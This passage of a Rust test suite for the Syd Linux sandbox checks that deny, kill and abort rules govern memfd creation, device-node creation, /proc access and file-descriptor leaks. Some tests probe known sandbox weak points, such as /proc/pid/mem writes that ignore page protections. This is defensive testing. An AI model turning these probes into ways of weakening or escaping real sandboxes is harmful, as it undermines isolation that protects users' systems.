        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_acl_create_4() -> TestResult {
    // Deny hugetlb memfd creation by name.
    let flags = MFdFlags::MFD_HUGETLB.bits().to_string();
    let status = syd()
        .p("off")
        .m("sandbox/create:on")
        .m("allow/create+/***")
        .m("deny/create+!memfd-hugetlb:mfd_create")
        .do_("mfd_create", ["mfd_create", flags.as_str()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != ENOSYS {
        assert_status_access_denied!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_acl_create_5() -> TestResult {
    // Deny hugetlb memfd creation by glob.
    let flags = MFdFlags::MFD_HUGETLB.bits().to_string();
    let status = syd()
        .p("off")
        .m("sandbox/create:on")
        .m("allow/create+/***")
        .m("deny/create+!memfd-hugetlb:mfd_cr?a*")
        .do_("mfd_create", ["mfd_create", flags.as_str()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != ENOSYS {
        assert_status_access_denied!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_acl_exec_1() -> TestResult {
    // Sandboxing is off memfd_create with MFD_EXEC
    // is ok trace/allow_unsafe_memfd:1.
    let flags = MFdFlags::MFD_EXEC.bits().to_string();
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memfd:1")
        .do_("mfd_create", ["mfd_create", flags.as_str()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    // ENOSYS: memfd_create(2) is not supported.
    // EINVAL: MFD_EXEC is not supported.
    if !matches!(code, ENOSYS | EINVAL) {
        assert_status_ok!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_acl_exec_2() -> TestResult {
    // Deny executable memfd creation by name
    // with trace/allow_unsafe_memfd:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memfd:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+!memfd:mfd_create")
        .do_("mfd_create", ["mfd_create", "0"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != ENOSYS {
        assert_status_access_denied!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_acl_exec_3() -> TestResult {
    // Deny memfd creation by glob
    // with trace/allow_unsafe_memfd:1
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memfd:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+!memfd:mfd_cr?a*")
        .do_("mfd_create", ["mfd_create", "0"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != ENOSYS {
        assert_status_access_denied!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_acl_exec_4() -> TestResult {
    // Deny executable hugetlb memfd creation by name
    // with trace/allow_unsafe_memfd:1
    let flags = MFdFlags::MFD_HUGETLB.bits().to_string();
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memfd:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+!memfd-hugetlb:mfd_create")
        .do_("mfd_create", ["mfd_create", flags.as_str()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    // ENOSYS: memfd_create(2) is not supported.
    // EINVAL: MFD_HUGETLB is not supported.
    if !matches!(code, ENOSYS | EINVAL) {
        assert_status_access_denied!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_acl_exec_5() -> TestResult {
    // Deny memfd hugetlb creation by glob
    // with trace/allow_unsafe_memfd:1
    let flags = MFdFlags::MFD_HUGETLB.bits().to_string();
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memfd:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+!memfd-hugetlb:mfd_cr?a*")
        .do_("mfd_create", ["mfd_create", flags.as_str()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    // ENOSYS: memfd_create(2) is not supported.
    // EINVAL: MFD_HUGETLB is not supported.
    if !matches!(code, ENOSYS | EINVAL) {
        assert_status_access_denied!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_acl_ftruncate_1() -> TestResult {
    // Sandboxing is off, memfd_create without MFD_EXEC is ok.
    let status = syd()
        .p("off")
        .do_("mfd_ftruncate", ["mfd_ftruncate", "0"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_acl_ftruncate_2() -> TestResult {
    // Deny memfd allocation by name.
    let status = syd()
        .p("off")
        .m("sandbox/truncate:on")
        .m("allow/truncate+/***")
        .m("deny/truncate+!memfd:mfd_ftruncate")
        .do_("mfd_ftruncate", ["mfd_ftruncate", "0"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != ENOSYS {
        assert_status_access_denied!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_acl_ftruncate_3() -> TestResult {
    // Deny memfd allocation by glob.
    let status = syd()
        .p("off")
        .m("sandbox/truncate:on")
        .m("allow/truncate+/***")
        .m("deny/truncate+!memfd:m?d_ftr.nc?t*")
        .do_("mfd_ftruncate", ["mfd_ftruncate", "0"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != ENOSYS {
        assert_status_access_denied!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_acl_ftruncate_4() -> TestResult {
    // Deny hugetlb memfd allocation by name.
    let flags = MFdFlags::MFD_HUGETLB.bits().to_string();
    let status = syd()
        .p("off")
        .m("sandbox/truncate:on")
        .m("allow/truncate+/***")
        .m("allow/truncate+!memfd:*")
        .m("deny/truncate+!memfd-hugetlb:mfd_ftruncate")
        .do_("mfd_ftruncate", ["mfd_ftruncate", flags.as_str()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    // ENOSYS: memfd_create(2) is not supported.
    // EINVAL: MFD_HUGETLB is not supported.
    if !matches!(code, ENOSYS | EINVAL) {
        assert_status_access_denied!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_acl_ftruncate_5() -> TestResult {
    // Deny hugetlb memfd allocation by glob.
    let flags = MFdFlags::MFD_HUGETLB.bits().to_string();
    let status = syd()
        .p("off")
        .m("sandbox/truncate:on")
        .m("allow/truncate+/***")
        .m("allow/truncate+!memfd:*")
        .m("deny/truncate+!memfd-hugetlb:m?d_ftr.nc?t*")
        .do_("mfd_ftruncate", ["mfd_ftruncate", flags.as_str()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    // ENOSYS: memfd_create(2) is not supported.
    // EINVAL: MFD_HUGETLB is not supported.
    if !matches!(code, ENOSYS | EINVAL) {
        assert_status_access_denied!(status);
    } else {
        eprintln!("memfd_create(2) is not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_mfd_copy_from_proc_version() -> TestResult {
    skip_unless_available!("cp", "sh");
    skip_unless_gnu!("cp");

    let status = syd()
        .p("fs")
        .m("sandbox/lpath:on")
        .m("allow/all+/***")
        .args(["sh", "-cex"])
        .arg("exec cp /proc/version .")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mfd_copy_from_proc_sys_kernel_osrelease() -> TestResult {
    skip_unless_available!("cp", "sh");
    skip_unless_gnu!("cp");

    let status = syd()
        .p("fs")
        .m("sandbox/lpath:on")
        .m("allow/all+/***")
        .args(["sh", "-cex"])
        .arg("exec cp /proc/sys/kernel/osrelease .")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mfd_copy_from_proc_self_status() -> TestResult {
    skip_unless_available!("cp", "sh");
    skip_unless_gnu!("cp");

    let status = syd()
        .p("fs")
        .m("sandbox/lpath:on")
        .m("allow/all+/***")
        .args(["sh", "-cex"])
        .arg("exec cp /proc/self/status .")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mfd_copy_from_etc_machine_id() -> TestResult {
    skip_unless_available!("cp", "sh");
    skip_unless_gnu!("cp");
    skip_unless_exists!("/etc/machine-id");

    let status = syd()
        .p("fs")
        .m("sandbox/lpath:on")
        .m("allow/all+/***")
        .args(["sh", "-cex"])
        .arg("exec cp /etc/machine-id .")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mfd_readlink_proc_version() -> TestResult {
    skip_unless_available!("readlink", "bash");

    let status = syd()
        .p("fs")
        .m("sandbox/lpath:on")
        .m("allow/all+/***")
        .args(["bash", "-cex"])
        .arg("exec 42</proc/version; l=$(readlink /proc/self/fd/42); test x\"$l\" = x/proc/version")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mfd_readlink_proc_sys_kernel_osrelease() -> TestResult {
    skip_unless_available!("readlink", "bash");

    let status = syd()
        .p("fs")
        .m("sandbox/lpath:on")
        .m("allow/all+/***")
        .args(["bash", "-cex"])
        .arg("exec 42</proc/sys/kernel/osrelease; l=$(readlink /proc/self/fd/42); test x\"$l\" = x/proc/sys/kernel/osrelease")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mfd_readlink_proc_self_status() -> TestResult {
    skip_unless_available!("readlink", "bash");

    let status = syd()
        .p("fs")
        .m("sandbox/lpath:on")
        .m("allow/all+/***")
        .args(["bash", "-cex"])
        .arg("exec 42</proc/self/status; l=$(readlink /proc/self/fd/42); test x\"$l\" = x/proc/$$/status")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_mfd_readlink_etc_machine_id() -> TestResult {
    skip_unless_available!("readlink", "bash");
    skip_unless_exists!("/etc/machine-id");

    let status = syd()
        .p("fs")
        .m("sandbox/lpath:on")
        .m("allow/all+/***")
        .args(["bash", "-cex"])
        .arg("exec 42</etc/machine-id; l=$(readlink /proc/self/fd/42); test x\"$l\" = x/etc/machine-id")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_replace_proc_self_stat_allow() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .m("kill/stat+/proc/*/fd")
        .m("allow/stat+/proc/self/fd")
        .log("notice")
        .do_("stat", ["/proc/self/fd"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_replace_proc_self_stat_deny() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .m("kill/stat+/proc/*/fd")
        .m("allow/stat+/proc/self/fd")
        .m("deny/stat+/proc/*/fd")
        .log("notice")
        .do_("stat", ["/proc/self/fd"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);
    Ok(())
}

fn test_syd_replace_proc_self_stat_kill() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .m("kill/stat+/proc/*/fd")
        .m("allow/stat+/proc/self/fd")
        .m("kill/stat+/proc/*/fd")
        .log("notice")
        .do_("stat", ["/proc/self/fd"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);
    Ok(())
}

fn test_syd_replace_proc_self_stat_abort() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .m("kill/stat+/proc/*/fd")
        .m("allow/stat+/proc/self/fd")
        .m("abort/stat+/proc/*/fd")
        .log("notice")
        .do_("stat", ["/proc/self/fd"])
        .status()
        .expect("execute syd");
    assert_status_aborted!(status);
    Ok(())
}

fn test_syd_replace_proc_self_chdir_allow() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .m("kill/chdir+/proc/*/fd")
        .m("allow/chdir+/proc/self/fd")
        .log("notice")
        .do_("chdir", ["/proc/self/fd"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_replace_proc_self_chdir_deny() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .m("kill/chdir+/proc/*/fd")
        .m("allow/chdir+/proc/self/fd")
        .m("deny/chdir+/proc/*/fd")
        .log("notice")
        .do_("chdir", ["/proc/self/fd"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);
    Ok(())
}

fn test_syd_replace_proc_self_chdir_kill() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .m("kill/chdir+/proc/*/fd")
        .m("allow/chdir+/proc/self/fd")
        .m("kill/chdir+/proc/*/fd")
        .log("notice")
        .do_("chdir", ["/proc/self/fd"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);
    Ok(())
}

fn test_syd_replace_proc_self_chdir_abort() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .m("kill/chdir+/proc/*/fd")
        .m("allow/chdir+/proc/self/fd")
        .m("abort/chdir+/proc/*/fd")
        .log("notice")
        .do_("chdir", ["/proc/self/fd"])
        .status()
        .expect("execute syd");
    assert_status_aborted!(status);
    Ok(())
}

fn test_syd_mknod_bdev_1() -> TestResult {
    // Block device creation leads to termination by default.
    let status = syd()
        .p("off")
        .do_("mknod_dev", ["bdev"])
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    Ok(())
}

fn test_syd_mknod_bdev_2() -> TestResult {
    // Deny block device creation by name with trace/allow_unsafe_mkbdev:1.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_mkbdev:1")
        .m("sandbox/mkbdev:on")
        .m("allow/mkbdev+/***")
        .m("deny/mkbdev+/**/bdev")
        .do_("mknod_dev", ["bdev"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

fn test_syd_0_mknod_bdev_3() -> TestResult {
    skip_unless_cap!("mknod");

    // Block device creation is allowed.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_mkbdev:1")
        .m("sandbox/mkbdev:on")
        .m("allow/mkbdev+/***")
        .do_("mknod_dev", ["bdev"])
        .status()
        .expect("execute syd");
    // We may get EPERM if in a container.
    assert_status_code_matches!(status, 0 | EPERM);

    Ok(())
}

fn test_syd_mknod_cdev_1() -> TestResult {
    // Character device creation leads to termination by default.
    let status = syd()
        .p("off")
        .do_("mknod_dev", ["cdev"])
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    Ok(())
}

fn test_syd_mknod_cdev_2() -> TestResult {
    // Deny character device creation by name with trace/allow_unsafe_mkcdev:1.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_mkcdev:1")
        .m("sandbox/mkcdev:on")
        .m("allow/mkcdev+/***")
        .m("deny/mkcdev+/**/cdev")
        .do_("mknod_dev", ["cdev"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

fn test_syd_0_mknod_cdev_3() -> TestResult {
    skip_unless_cap!("mknod");

    // Character device creation is allowed.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_mkcdev:1")
        .m("sandbox/mkcdev:on")
        .m("allow/mkcdev+/***")
        .do_("mknod_dev", ["cdev"])
        .status()
        .expect("execute syd");
    // We may get EPERM if in a container.
    assert_status_code_matches!(status, 0 | EPERM);

    Ok(())
}

fn test_syd_mknodat_bdev_1() -> TestResult {
    // Block device creation leads to termination by default.
    let status = syd()
        .p("off")
        .do_("mknodat_dev", ["bdev"])
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    Ok(())
}

fn test_syd_mknodat_bdev_2() -> TestResult {
    // Deny block device creation by name with trace/allow_unsafe_mkbdev:1.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_mkbdev:1")
        .m("sandbox/mkbdev:on")
        .m("allow/mkbdev+/***")
        .m("deny/mkbdev+/**/bdev")
        .do_("mknodat_dev", ["bdev"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

fn test_syd_mknodat_bdev_3() -> TestResult {
    // Block device creation is allowed.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_mkbdev:1")
        .m("sandbox/mkbdev:on")
        .m("allow/mkbdev+/***")
        .do_("mknodat_dev", ["bdev"])
        .status()
        .expect("execute syd");
    // We may get EPERM if in a container.
    assert_status_code_matches!(status, 0 | EPERM);

    Ok(())
}

fn test_syd_mknodat_cdev_1() -> TestResult {
    // Character device creation leads to termination by default.
    let status = syd()
        .p("off")
        .do_("mknodat_dev", ["cdev"])
        .status()
        .expect("execute syd");
    assert_status_sigsys!(status);

    Ok(())
}

fn test_syd_mknodat_cdev_2() -> TestResult {
    // Deny character device creation by name with trace/allow_unsafe_mkcdev:1.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_mkcdev:1")
        .m("sandbox/mkcdev:on")
        .m("allow/mkcdev+/***")
        .m("deny/mkcdev+/**/cdev")
        .do_("mknodat_dev", ["cdev"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

fn test_syd_0_mknodat_cdev_3() -> TestResult {
    skip_unless_cap!("mknod");

    // Character device creation is allowed.
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_mkcdev:1")
        .m("sandbox/mkcdev:on")
        .m("allow/mkcdev+/***")
        .do_("mknodat_dev", ["cdev"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_nftw_dev() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .do_("nftw", ["/dev", "nofollow"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_nftw_proc() -> TestResult {
    // /proc/kcore overflows st_size.
    skip_if_32bin!();

    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .do_("nftw", ["/proc", "nofollow"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_write_to_non_writable_linux() -> TestResult {
    skip_if_32bin_64host!();

    // This test checks page protections without cross memory attach.
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "stat_write_to_non_writable")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_write_to_non_writable_default() -> TestResult {
    skip_if_32bin_64host!();

    // The default access method process_vm_{read,write}v(2) should
    // honour page protections.
    // Note, this test must fail on a kernel built with the
    // CONFIG_CROSS_MEMORY_ATTACH disabled.
    // TODO: Check running kernel config by checking ENOSYS
    // to process_vm_readv(2)!.
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .do_("stat_write_to_non_writable", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_write_to_non_writable_procmem() -> TestResult {
    skip_if_32bin_64host!();

    // The access method using /proc/pid/mem does not honour
    // page protections so technically Syd emulator process
    // can be confused into corrupting sandbox process memory
    // by writing to non-writable regions.
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .m("trace/memory_access:1")
        .do_("stat_write_to_non_writable", NONE)
        .status()
        .expect("execute syd");
    // Note, we cannot rely on an exit value here,
    // as the process will likely crash but it may not.
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_stat_write_to_read_exec_linux() -> TestResult {
    skip_if_32bin_64host!();

    // This test checks page protections without cross memory attach.
    let status = Command::new(&*SYD_DO)
        .env("SYD_TEST_DO", "stat_write_to_read_exec")
        .status()
        .expect("execute syd-test-do");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_write_to_read_exec_default() -> TestResult {
    skip_if_32bin_64host!();

    // The default access method process_vm_{read,write}v(2) should
    // honour page protections.
    // Note, this test must fail on a kernel built with the
    // CONFIG_CROSS_MEMORY_ATTACH disabled.
    // TODO: Check running kernel config by checking ENOSYS
    // to process_vm_readv(2)!.
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .do_("stat_write_to_read_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_stat_write_to_read_exec_procmem() -> TestResult {
    skip_if_32bin_64host!();

    // The access method using /proc/pid/mem does not honour
    // page protections so technically Syd emulator process
    // can be confused into corrupting sandbox process memory
    // by writing to non-writable regions.
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .m("trace/memory_access:1")
        .do_("stat_write_to_read_exec", NONE)
        .status()
        .expect("execute syd");
    // Note, we cannot rely on an exit value here,
    // as the process will likely crash but it may not.
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_stat_compare_root_inode_1() -> TestResult {
    let status = syd()
        .p("fs")
        .m("sandbox/all:on")
        .m("allow/all+/***")
        .do_("stat_compare_root_inode", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_stat_compare_root_inode_2() -> TestResult {
    let status = syd()
        .p("fs")
        .m("lock:exec")
        .m("allow/all+/***")
        .do_("stat_compare_root_inode", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

fn test_syd_exec_program_check_fd_leaks_bare() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > exec.c <<EOF
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(void) {
    DIR *dir;
    struct dirent *entry;
    int fd_leaks = 0, dir_fd;

    // Open the directory containing file descriptors
    dir = opendir("/proc/self/fd");
    if (!dir) {
        perror("Failed to open /proc/self/fd");
        return -1; // Return -1 in case of error
    }

    // Get the file descriptor for the directory stream
    dir_fd = dirfd(dir);
    if (dir_fd == -1) {
        perror("Failed to get file descriptor for directory");
        closedir(dir);
        return -1; // Return -1 in case of error
    }

    // Iterate over all entries in the directory
    while ((entry = readdir(dir)) != NULL) {
        int fd;
        char *end;

        // Convert the name of the entry to an integer
        fd = strtol(entry->d_name, &end, 10);
        if (*end != '\0' || entry->d_name == end) continue; // Skip non-integer entries

        // Build the path to the symbolic link for the file descriptor
        char link_path[4096];
        char target_path[4096];
        snprintf(link_path, sizeof(link_path), "/proc/self/fd/%d", fd);

        ssize_t len = readlink(link_path, target_path, sizeof(target_path) - 1);
        if (len > 0) {
            target_path[len] = '\0'; // Ensure null termination
            // We ignore standard input, output, and error which are 0, 1, and 2
            if (fd <= 2) {
                printf("Ignoring standard open fd %d -> %s...\n", fd, target_path);
            } else if (fd == dir_fd) {
                printf("Ignoring fd to current directory fd %d -> %s...\n", fd, target_path);
            } else {
                printf("!!! Leaked file descriptor %d -> %s !!!\n", fd, target_path);
                fd_leaks++;
            }
        } else {
            perror("Failed to read link");
            fd_leaks++;
        }
    }

    closedir(dir);
    return fd_leaks;
}
EOF

cc -Wall -Wextra exec.c -o exec
    "##,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    // Ensure SYD_LOG_FD is not leaked as well.
    let mut log_fd = unsafe { OwnedFd::from_raw_fd(256) };
    dup2(std::io::stderr(), &mut log_fd).unwrap();

    // Execute code.
    //
    // Set IPC socket to ensure it does not get leaked as well.
    let status = syd()
        .log_fd(256)
        .p("off")
        .m(format!(
            "ipc:@syd-{}.sock",
            env::var("SYD_TEST_NAME").unwrap()
        ))
        .argv(["./exec"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_exec_program_check_fd_leaks_wrap() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");
    skip_unless_unshare!("user", "mount", "pid");

    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > exec.c <<EOF
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(void) {
    DIR *dir;
    struct dirent *entry;
    int fd_leaks = 0, dir_fd;

    // Open the directory containing file descriptors
    dir = opendir("/proc/self/fd");
    if (!dir) {
        perror("Failed to open /proc/self/fd");
        return -1; // Return -1 in case of error
    }

    // Get the file descriptor for the directory stream
    dir_fd = dirfd(dir);
    if (dir_fd == -1) {
        perror("Failed to get file descriptor for directory");
        closedir(dir);
        return -1; // Return -1 in case of error
    }

    // Iterate over all entries in the directory
    while ((entry = readdir(dir)) != NULL) {
        int fd;
        char *end;

        // Convert the name of the entry to an integer
        fd = strtol(entry->d_name, &end, 10);
        if (*end != '\0' || entry->d_name == end) continue; // Skip non-integer entries

        // Build the path to the symbolic link for the file descriptor
        char link_path[4096];
        char target_path[4096];
        snprintf(link_path, sizeof(link_path), "/proc/self/fd/%d", fd);

        ssize_t len = readlink(link_path, target_path, sizeof(target_path) - 1);
        if (len > 0) {
            target_path[len] = '\0'; // Ensure null termination
            // We ignore standard input, output, and error which are 0, 1, and 2
            if (fd <= 2) {
                printf("Ignoring standard open fd %d -> %s...\n", fd, target_path);
            } else if (fd == dir_fd) {
                printf("Ignoring fd to current directory fd %d -> %s...\n", fd, target_path);
            } else {
                printf("!!! Leaked file descriptor %d -> %s !!!\n", fd, target_path);
                fd_leaks++;
            }
        } else {
            perror("Failed to read link");
            fd_leaks++;
        }
    }

    closedir(dir);
    return fd_leaks;
}
EOF

cc -Wall -Wextra exec.c -o exec
    "##,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    // Ensure SYD_LOG_FD is not leaked as well.
    let mut log_fd = unsafe { OwnedFd::from_raw_fd(256) };
    dup2(std::io::stderr(), &mut log_fd).unwrap();

    // Execute code.
    //
    // Set IPC socket to ensure it does not get leaked as well.
    let status = syd()
        .log_fd(256)
        .p("off")
        .m(format!(
            "ipc:@syd-{}.sock",
            env::var("SYD_TEST_NAME").unwrap()
        ))
        .m("unshare/user,pid:1")
        .argv(["./exec"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if read sandboxing for open works to allow.
fn test_syd_read_sandbox_open_allow() -> TestResult {
    skip_unless_available!("dd");

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("deny/read+/dev/***")
        .m("allow/read+/dev/null")
        .argv(["dd", "if=/dev/null"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if read sandboxing for open works to deny.
fn test_syd_read_sandbox_open_deny() -> TestResult {
    skip_unless_available!("cat");

    let status = syd()
        .p("fs")
        .m("allow/all+/***")
        .m("deny/read+/dev/null")
        .argv(["cat", "/dev/null"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if stat sandboxing for chdir works to allow.
fn test_syd_chdir_sandbox_allow_1() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .m("deny/chdir+/dev")
        .m("allow/chdir+/dev")
        .argv(["sh", "-cex", "cd /dev"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if stat sandboxing for chdir works to allow.
fn test_syd_chdir_sandbox_allow_2() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .m("deny/chdir+/dev")
        .m("allow/chdir+/dev")
        .argv(["sh", "-cex", "cd /dev"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if stat sandboxing for stat works to hide.
fn test_syd_chdir_sandbox_hide_1() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/chdir,stat:on")
        .m("allow/chdir,stat+/***")
        .m("deny/chdir,stat+/dev")
        .argv(["sh", "-cx", "cd /dev || exit 42"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);
    Ok(())
}

// Tests if stat sandboxing for stat works to hide.
fn test_syd_chdir_sandbox_hide_2() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .m("sandbox/chdir,stat:on")
        .m("allow/chdir,stat+/***")
        .m("deny/chdir,stat+/dev")
        .argv(["sh", "-cx", "cd /dev || exit 42"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);
    Ok(())
}

// Check if chroot sandboxing works to allow.
fn test_syd_chroot_sandbox_allow_default() -> TestResult {
